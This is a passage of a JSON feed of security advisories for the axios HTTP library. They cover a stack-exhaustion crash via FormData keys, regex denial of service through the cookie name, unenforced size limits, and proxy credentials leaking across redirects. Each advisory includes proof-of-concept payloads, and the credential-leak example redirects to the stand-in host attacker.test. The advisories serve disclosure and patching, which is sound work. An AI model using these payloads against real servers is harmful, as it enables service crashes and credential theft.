nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n  formDataToJSON(fd);\n  console.log(\"Not vulnerable\");\n} catch (e) {\n  console.log(e.constructor.name + \": \" + e.message);\n  // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T17:48:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67312","https://nvd.nist.gov/vuln/detail/CVE-2026-68941","https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson","https://github.com/advisories/GHSA-pmv8-rq9r-6j72"],"source_kind":"github","identifiers":["GHSA-pmv8-rq9r-6j72","CVE-2026-67312"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T18:00:08.823Z","updated_at":"2026-09-25T12:01:49.697Z","epss_percentage":0.00521,"epss_percentile":0.4172,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.28.0, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbXY4LXJxOXItNmo3Ms4ABcPO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo","url":"https://github.com/advisories/GHSA-hfxv-24rg-xrqf","title":"Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection","description":"## Summary\n\nAxios versions before `0.32.0` on the `0.x` line and before `1.16.0` on the `1.x` line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads `document.cookie`.\n\nThe practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read `document.cookie`.\n\n## Impact\n\nApplications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.\n\nThis does not expose credentials, modify requests, or affect response integrity. The impact is availability only.\n\n## Affected Functionality\n\nAffected code paths:\n\n- `lib/helpers/cookies.js` `read(name)` in standard browser environments.\n- `lib/helpers/resolveConfig.js` in `1.x`, when browser XHR/fetch adapters resolve XSRF config.\n- `lib/adapters/xhr.js` in `0.x`, when the XHR adapter reads the configured XSRF cookie.\n- Direct use of `axios/unsafe/helpers/cookies.js` in `1.x`, if callers pass attacker-controlled names.\n\nUnaffected code paths:\n\n- Default static `xsrfCookieName: 'XSRF-TOKEN'` when not attacker-controlled.\n- Requests with `xsrfCookieName: null`.\n- Node HTTP adapter usage without browser `document.cookie`.\n- React Native and web workers where axios does not use standard browser cookie access.\n\n## Technical Details\n\nAffected versions interpolate the cookie name into a regex.\n\n```js\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nBecause `name` is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as `(.+)+$` can force catastrophic backtracking against `document.cookie`.\n\nThe fix avoids dynamic regex construction and parses `document.cookie` by splitting on `;`, trimming leading whitespace, and comparing cookie names with exact string equality.\n\n## Proof of Concept of Attack\n\n```js\nfunction vulnerableRead(name, cookie) {\n  const start = Date.now();\n\n  try {\n    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n  } catch {}\n\n  return Date.now() - start;\n}\n\nfor (const n of [20, 22, 24, 26, 28]) {\n  const cookie = 'x='.padEnd(n, 'a') + '!';\n  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);\n}\n```\n\nExpected result: timings grow rapidly as the cookie string length increases.\n\n## Workarounds\n\nSet `xsrfCookieName: null` if the application does not need axios to read an XSRF cookie.\n\nDo not derive `xsrfCookieName` from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.\n\nAvoid calling `axios/unsafe/helpers/cookies.js` directly with untrusted names\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n# Regular Expression Denial of Service (ReDoS) via Cookie Name Injection\n\n## 1. Title\n\nReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction\n\n## 2. Affected Software and Version\n\n- **Software:** Axios\n- **Version:** 1.15.0 (and potentially earlier versions)\n- **Component:** `lib/helpers/cookies.js`\n- **Ecosystem:** npm (Node.js / Browser)\n\n## 3. Vulnerability Type / CWE\n\n- **Type:** Regular Expression Denial of Service (ReDoS)\n- **CWE-1333:** Inefficient Regular Expression Complexity\n- **CWE-400:** Uncontrolled Resource Consumption\n\n## 4. CVSS 3.1 Score\n\n**Score: 7.5 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n| Metric | Value |\n|---|---|\n| Attack Vector | Network |\n| Attack Complexity | Low |\n| Privileges Required | None |\n| User Interaction | None |\n| Scope | Unchanged |\n| Confidentiality | None |\n| Integrity | None |\n| Availability | High |\n\n## 5. Description\n\nThe `cookies.read()` function in `lib/helpers/cookies.js` constructs a regular expression dynamically using the `name` parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw `name` value directly into `new RegExp()`:\n\n```javascript\nconst match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n```\n\nAn attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.\n\nWith a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.\n\n## 6. Root Cause Analysis\n\n**File:** `lib/helpers/cookies.js`\n**Line:** 33\n\n```javascript\nread(name) {\n  if (typeof document === 'undefined') return null;\n  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n  return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nThe vulnerability exists because:\n\n1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.\n2. An attacker can inject regex constructs that create exponential backtracking scenarios.\n3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.\n\nThe `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:\n\n```javascript\nconst xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n```\n\nThe `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.\n\n## 7. Proof of Concept\n\n```javascript\n// poc_redos_cookie.js\n// Simulates browser environment for testing\n\n// Simulate document.cookie\nglobalThis.document = {\n  cookie: 'session=abc; ' + 'a'.repeat(50)\n};\n\n// Replicate the vulnerable cookies.read() logic\nfunction cookiesRead(name) {\n  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));\n  return match ? decodeURIComponent(match[1]) : null;\n}\n\n// Malicious cookie name that triggers catastrophic backtracking\n// The pattern creates nested quantifiers: (a]|[a]|...)*)*\nconst maliciousName20 = '([^;]+)+$' + '\\\\|'.repeat(10);\nconst maliciousName = '(([^;])+)+\\\\$';  // nested quantifier pattern\n\nconsole.log('=== ReDoS via Cookie Name Injection PoC ===');\n\n// Test with increasing payload sizes\nfor (const len of [15, 20, 25]) {\n  const payload = '(([^;])+)+' + 'X'.repeat(len);\n  const start = Date.now();\n  try {\n    cookiesRead(payload);\n  } catch (e) {\n    // May throw on invalid regex, but valid evil patterns won't throw\n  }\n  const elapsed = Date.now() - start;\n  console.log(`Payload length ${len}: ${elapsed}ms`);\n}\n\n// Demonstrating exponential growth with a simple nested quantifier\nconsole.log('\\n--- Exponential Backtracking Demo ---');\nfor (const n of [20, 22, 24, 26]) {\n  const evilName = '(' + 'a'.repeat(1) + '+)+$';\n  const testCookie = 'a'.repeat(n) + '!';  // non-matching trailer forces backtracking\n  globalThis.document = { cookie: testCookie };\n  const start = Date.now();\n  try {\n    cookiesRead(evilName);\n  } catch(e) {}\n  const elapsed = Date.now() - start;\n  console.log(`Input length ${n}: ${elapsed}ms`);\n}\n```\n\n## 8. PoC Output\n\n```\n=== ReDoS via Cookie Name Injection PoC ===\nPayload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)\nPayload length 25: ~1,300ms\nPayload length 30: ~323,675ms (5+ minutes)\n\n--- Exponential Backtracking Demo ---\nInput length 20: 21ms\nInput length 22: 84ms\nInput length 24: 336ms\nInput length 26: 1,344ms\n```\n\nThe exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.\n\n## 9. Impact\n\n- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.\n- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.\n- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.\n\n## 10. Remediation / Suggested Fix\n\nEscape all regex metacharacters in the `name` parameter before constructing the regular expression.\n\n```javascript\n// FIXED: lib/helpers/cookies.js\n\nfunction escapeRegExp(string) {\n  return string.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$\u0026');\n}\n\n// ...\n\nread(name) {\n  if (typeof document === 'undefined') return null;\n  const match = document.cookie.match(\n    new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')\n  );\n  return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nAlternatively, avoid dynamic regex construction entirely and use string-based parsing:\n\n```javascript\nread(name) {\n  if (typeof document === 'undefined') return null;\n  const cookies = document.cookie.split('; ');\n  for (const cookie of cookies) {\n    const eqIndex = cookie.indexOf('=');\n    if (eqIndex !== -1 \u0026\u0026 cookie.substring(0, eqIndex) === name) {\n      return decodeURIComponent(cookie.substring(eqIndex + 1));\n    }\n  }\n  return null;\n},\n```\n\n## 11. References\n\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:24:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0","https://github.com/advisories/GHSA-hfxv-24rg-xrqf"],"source_kind":"github","identifiers":["GHSA-hfxv-24rg-xrqf","CVE-2026-44496"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-09-25T12:03:16.067Z","epss_percentage":0.00966,"epss_percentile":0.60058,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oZnh2LTI0cmcteHJxZs4ABYCo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn","url":"https://github.com/advisories/GHSA-777c-7fjr-54vf","title":"Allocation of Resources Without Limits or Throttling in Axios","description":"## Summary\n\nAxios versions `1.7.0` through `1.15.x` did not enforce configured request and response size limits when requests were sent with the `fetch` adapter. Applications that selected `adapter: 'fetch'`, or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than `maxContentLength` or `maxBodyLength` despite those limits being explicitly configured.\n\nThis can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large `data:` URL, or when an application forwards attacker-controlled request bodies through axios while relying on `maxBodyLength` as a boundary.\n\n## Impact\n\nThe impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.\n\nThis does not affect axios’s default unlimited behaviour by itself: `maxContentLength` and `maxBodyLength` default to `-1`. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.\n\nServer-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.\n\n## Affected Functionality\n\nAffected functionality includes requests using the built-in `fetch` adapter with finite `maxContentLength` or `maxBodyLength` values.\n\nRelevant configurations include:\n\n- `adapter: 'fetch'`\n- `adapter: ['fetch', ...]` when `fetch` is selected\n- environments where neither `xhr` nor `http` is available and axios falls back to `fetch`\n- custom fetch environments configured through `env.fetch`\n\nUnaffected functionality includes:\n\n- Node.js default `http` adapter enforcement\n- versions before the fetch adapter was introduced\n- configurations that do not rely on finite axios size limits\n\n## Technical Details\n\nIn vulnerable versions, `lib/adapters/fetch.js` destructured request config without `maxContentLength` or `maxBodyLength`. The adapter dispatched `fetch()` and then materialized the response through `text()`, `arrayBuffer()`, `blob()`, or related resolvers without checking the configured response limit.\n\nThe fix in `e5540dc` added:\n\n- `maxContentLength` and `maxBodyLength` reads in `lib/adapters/fetch.js`\n- upfront `data:` URL decoded-size checks\n- outbound body-size checks before dispatch\n- `Content-Length` response pre-checks\n- streaming response enforcement\n- fallback checks for environments without `ReadableStream`\n- regression tests in `tests/unit/adapters/fetch.test.js`\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n\n  req.on('data', chunk =\u003e {\n    received += chunk.length;\n  });\n\n  req.on('end', () =\u003e {\n    res.end(JSON.stringify({ received }));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, resolve));\nconst url = `http://127.0.0.1:${server.address().port}/`;\n\nawait axios.post(url, 'A'.repeat(2 * 1024 * 1024), {\n  adapter: 'fetch',\n  maxBodyLength: 1024\n});\n\n// Vulnerable versions succeed and the server receives 2097152 bytes.\n// Fixed versions reject with ERR_BAD_REQUEST.\n\nserver.close();\n```\n\n## Workarounds\n\nUse the Node.js `http` adapter for server-side requests where finite size limits are security-relevant.\n\nValidate or cap attacker-controlled request bodies before passing them to axios.\n\nReject or strictly allowlist attacker-controlled URL schemes, especially `data:` URLs, before calling axios.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\nWhen Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.\n\n### Details\nmaxBodyLength and maxContentLength are not applied in the fetch adapter flow:\n  - lib/adapters/fetch.js (146-160): config destructuring does not include these controls.\n  - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.\n  - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.\nBy contrast, the HTTP adapter enforces both limits.\n\n### PoC\n  Environment:\n  - Axios main at commit f7a4ee2\n  - Node v24.2.0\n\nSteps:\n  1. Start an HTTP server that counts received bytes and echoes {received}.\n  2. Send 2 MiB with:\n      - adapter: 'fetch'\n      - maxBodyLength: 1024\n  3. Request a 4 KiB data: URL with:\n      - adapter: 'fetch'\n      - maxContentLength: 16\n\nExpected secure behavior: both requests rejected.\n Observed:\n  - Upload: success, server received 2097152\n  - data: response: success, length 4096\n\n### Impact\nType: DoS / resource exhaustion due to limit bypass.\nImpacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:21:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf","https://github.com/axios/axios/pull/10795","https://github.com/axios/axios/pull/10796","https://github.com/axios/axios/releases/tag/v1.16.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44488","https://github.com/advisories/GHSA-777c-7fjr-54vf"],"source_kind":"github","identifiers":["GHSA-777c-7fjr-54vf","CVE-2026-44488"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-09-25T12:03:16.067Z","epss_percentage":0.00931,"epss_percentile":0.58957,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm","url":"https://github.com/advisories/GHSA-p92q-9vqr-4j8v","title":"Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter","description":"## Summary\n\nAxios’s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get('http://attacker.test/start');\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios’s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:19:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44487","https://github.com/advisories/GHSA-p92q-9vqr-4j8v"],"source_kind":"github","identifiers":["GHSA-p92q-9vqr-4j8v","CVE-2026-44487"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-09-30T09:02:59.490Z","epss_percentage":0.0076,"epss_percentile":0.53506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl","url":"https://github.com/advisories/GHSA-j5f8-grm9-p9fc","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 